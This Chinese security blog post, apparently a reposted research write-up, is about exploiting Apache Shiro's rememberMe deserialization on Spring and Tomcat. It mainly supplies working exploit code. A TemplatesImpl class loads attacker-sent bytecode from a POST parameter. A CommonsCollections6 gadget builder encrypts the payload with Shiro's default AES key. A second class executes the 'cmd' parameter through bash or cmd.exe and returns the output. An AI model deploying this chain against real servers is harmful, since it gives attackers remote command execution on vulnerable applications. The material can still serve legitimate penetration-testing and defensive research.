vlambda博客
学习文章列表

通过动态类加载解决【通过Tomcat全局存储进行回显】在Shiro中的Header过长问题

#前言



     在 这篇文章中,Litch1师傅给出了一个通过Tomcat全局存储的方式来获取Request和Response对象,然后获取命令执行的回显的方法,但是遗憾的是,由于生成的payload的太长,超过了Tomcat对于header长度的限制:

Litch1师傅在文章最后给出的解决方案是通过修 maxHeaderSize 值,通过多个线程发送payload:


测试shiro的时候,发现一个问题,生成的payload太长了 ,已经超过了Tomcat默认的max header的大小,经过一再缩减也没有成功,于是考虑通过改变Tomcat max header的大小解除限制,思路是改变org.apache.coyote.http11.AbstractHttp11Protocol的maxHeaderSize的大小,这个值会影响新的Request的inputBuffer时的对于header的限制,但是由于request的inputbuffer会复用,所以我们在修改完maxHeaderSize之后,需要多个连接同时访问,让tomcat新建request的inputbuffer,这时候的buffer的大小限制就会使用我们修改过后的值


Spring  +  shiro  的环境中,本文给出一种不通过修 maxHeaderSize 值,在单个线程中使用动态类加载的方式来在Shiro中获取执行命令的结果。

#拆解



我们可以把Shiro反序列化中的payload的作用分成两部分:

  1. 触发反序列化Gadget
  2. 执行我们构造的代码

而这两部分功能的代码,都是集中在一个文件中,所以产生了payload太长不可用的问题,所以我们能不能通过某种方法,把两部分功能分开,分别送到服务端执行呢?

本文的解决思路是通过动态类加载:
  1. 通过反序列化向服务端注入一个可以动态加载字节码的类(通过TemplatesImpl利用链)

  2. 同时向服务端发送一个字节码文件供其加载,通过这个字节码文件中执行我们构造的代码



#动态加载字节码


在Java中要加载字节码,关键在 ClassLoader#defineClass 法,这个方法会把字节码在JVM注册成一 java.lang.Class 象 。我们要构造一个类,可以加载我们向服务端发送的任意代码,关键在于两点:
如何动态加载字节码
这个类收到我们向其发送的字节码数据

先看第一点,我们可以通过反 defineClass 法来达到动态加载字节码目的:
Method defineClass = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);defineClass.invoke(ClassLoader.getSystemClassLoader(), bytes, 0, bytes.length)

也可以通过自己写一个继承 ClassLoader 的类,然后调用父类的 defineClass 法:
public class DefineLoader extends ClassLoader { public Class load(byte[] bytes) { return super.defineClass(null, bytes, 0, bytes.length); }}

再看第二点,在 Spring 境中,我们可以通过如下方式来获取到一次请求的 request 象:
// Get request in Spring FrameworkServletRequestAttributes attributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();// RequestFacadeassert attributes != null;HttpServletRequest requestFacade = attributes.getRequest();Field requestField = requestFacade.getClass().getDeclaredField("request");requestField.setAccessible(true);// RequestRequest request = (Request) requestField.get(requestFacade);

由于门面模式的使用,通 attributes.getRequest() 到的其实 RequestFacade ,在这个类中包装了真正 request 对象。

所以我们可以把字节码数据放 POST 请求的请求体(data)中,再利用这 request 对象获取到发送的data,通过上述的方式动态加载这个类。
// Get parameterString dataB64 = request.getParameter("data");
if (dataB64 != null) { // Load class dynamically byte[] bytes = Base64.decodeBase64(dataB64); // The same loader is not allowed to load classes repeatedly Class clazz = new DefineLoader().load(bytes);}

由于同一个类加载不能重复加载同一个类,所以我们采用第二种方法,每次请求都生成一个新的类加载器,这样就不会抛出tried to access Class ······的异常了。
整体代码如下:
package src;
import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.apache.catalina.connector.Request;import org.apache.tomcat.util.codec.binary.Base64;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;
import javax.servlet.http.HttpServletRequest;import java.lang.reflect.Field;
public class POC1 extends AbstractTranslet {
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
// Internal ClassLoader public static class DefineLoader extends ClassLoader { public Class load(byte[] bytes) { return super.defineClass(null, bytes, 0, bytes.length); } }
static { try { // Get request in Spring Framework ServletRequestAttributes attributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes(); // RequestFacade assert attributes != null; HttpServletRequest requestFacade = attributes.getRequest(); Field requestField = requestFacade.getClass().getDeclaredField("request"); requestField.setAccessible(true); // Request Request request = (Request) requestField.get(requestFacade); // Get parameter String dataB64 = request.getParameter("data");
if (dataB64 != null) { // Load class dynamically byte[] bytes = Base64.decodeBase64(dataB64); // The same loader is not allowed to load classes repeatedly Class clazz = new DefineLoader().load(bytes); // invoke toStirng method clazz.newInstance().toString(); }
} catch (Exception e) { e.printStackTrace(); } }}

这里以经过改造 (https://f4de-bak.github.io/pages/ca9de1/#templatesimplCC6Gadget为例(要手动向服务端添加依赖),通过TemplatesImpl利用链向服务端注入POC1类:

package src;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import org.apache.shiro.crypto.AesCipherService;import org.apache.shiro.util.ByteSource;import org.apache.tomcat.util.codec.binary.Base64;
import java.io.ByteArrayOutputStream;import java.io.File;import java.io.FileInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.net.URLEncoder;import java.util.HashMap;import java.util.Map;
/* CC6 */public class Main { public static void main(String[] args) throws Exception { File file = new File("target/classes/src/POC1.class"); byte[] bytes = new byte[(int) file.length()]; FileInputStream fileInputStream = new FileInputStream(file); fileInputStream.read(bytes);
TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", new byte[][]{bytes}); setFieldValue(templates, "_name", "Xinghai"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Transformer invokerTransformer = new InvokerTransformer("getClass", null, null); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, invokerTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, templates);
HashMap expMap = new HashMap(); expMap.put(tiedMapEntry, "value"); outerMap.clear();
setFieldValue(invokerTransformer, "iMethodName", "newTransformer");
ByteArrayOutputStream barr_out = new ByteArrayOutputStream(); ObjectOutputStream ops = new ObjectOutputStream(barr_out); ops.writeObject(expMap); ops.close(); // rememberMe byte[] AES_KEY = Base64.decodeBase64("kPH+bIxk5D2deZiIxcaaaA=="); AesCipherService aesCipherService = new AesCipherService(); ByteSource source = aesCipherService.encrypt(barr_out.toByteArray(), AES_KEY); System.out.println(source.toString()); }
static void setFieldValue(Object obj, String field, Object value) throws Exception { Class<?> clazz = Class.forName(obj.getClass().getName()); Field field1 = clazz.getDeclaredField(field); field1.setAccessible(true); field1.set(obj, value); }}

这样就生成rememberMe值。



#构造待加载字节码


根据Litch1师傅的思路来获取Request和Response对象,然后放到 toString() 法中:
package src;
import org.apache.catalina.Context;import org.apache.catalina.connector.Connector;import org.apache.catalina.core.ApplicationContext;import org.apache.catalina.core.StandardService;import org.apache.catalina.loader.WebappClassLoaderBase;import org.apache.coyote.AbstractProtocol;import org.apache.coyote.Request;import org.apache.coyote.RequestGroupInfo;import org.apache.coyote.RequestInfo;import org.apache.tomcat.util.net.AbstractEndpoint;
import java.io.InputStream;import java.io.PrintWriter;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.ArrayList;import java.util.Scanner;
public class POC2 { @Override public String toString() { String cmd = null; try { WebappClassLoaderBase loader = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); Context context = loader.getResources().getContext(); // ApplicationContext Field applicationContextField = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context"); applicationContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(context); // StandardService Field serviceField = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service"); serviceField.setAccessible(true); StandardService standardService = (StandardService) serviceField.get(applicationContext);
// HTTP Connector Connector[] connectors = standardService.findConnectors(); for (Connector connector : connectors) { if (connector.getScheme().contains("http")) { // AbstractProtocol AbstractProtocol abstractProtocol = (AbstractProtocol) connector.getProtocolHandler();
// AbstractProtocol$ConnectionHandler Method getHandler = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredMethod("getHandler"); getHandler.setAccessible(true); AbstractEndpoint.Handler ConnectionHandler = (AbstractEndpoint.Handler) getHandler.invoke(abstractProtocol);
// global(RequestGroupInfo) Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global"); globalField.setAccessible(true); RequestGroupInfo global = (RequestGroupInfo) globalField.get(ConnectionHandler);
// processors (ArrayList) Field processorsField = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors"); processorsField.setAccessible(true); ArrayList processors = (ArrayList) processorsField.get(global);
for (Object processor : processors) { RequestInfo requestInfo = (RequestInfo) processor; // RequestInfo if (requestInfo.getCurrentQueryString().contains("cmd")) { // req Field reqField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req"); reqField.setAccessible(true); Request requestTemp = (Request) reqField.get(requestInfo); org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) requestTemp.getNote(1);
cmd = request.getParameter("cmd"); String[] cmds = null; if (cmd != null) { if (System.getProperty("os.name").toLowerCase().contains("win")) { cmds = new String[]{"cmd", "/c", cmd}; } else { cmds = new String[]{"/bin/bash", "-c", cmd}; } InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(inputStream).useDelimiter("//A"); String output = s.hasNext() ? s.next() : ""; PrintWriter writer = request.getResponse().getWriter(); writer.write(output); writer.flush(); writer.close();
break; } } } } } } catch (Exception e) { e.printStackTrace(); } return null; }}

具体获取流程就不分析了,可以具体参考Litch1师傅的文章。
再把该类的字节码数据进行一层Base64编码,就构造好了我们要发送的 data

// data
File file1 = new File("target/classes/src/POC2.class");FileInputStream fileInputStream1 = new FileInputStream(file1);byte[] bytes1 = new byte[(int) file1.length()];fileInputStream1.read(bytes1);System.out.println(URLEncoder.encode(Base64.encodeBase64String(bytes1)));


#测试



Spring boot  +  Shiro 中测试:

通过动态类加载解决【通过Tomcat全局存储进行回显】在Shiro中的Header过长问题






新浪微博:@三叶草小组Syclover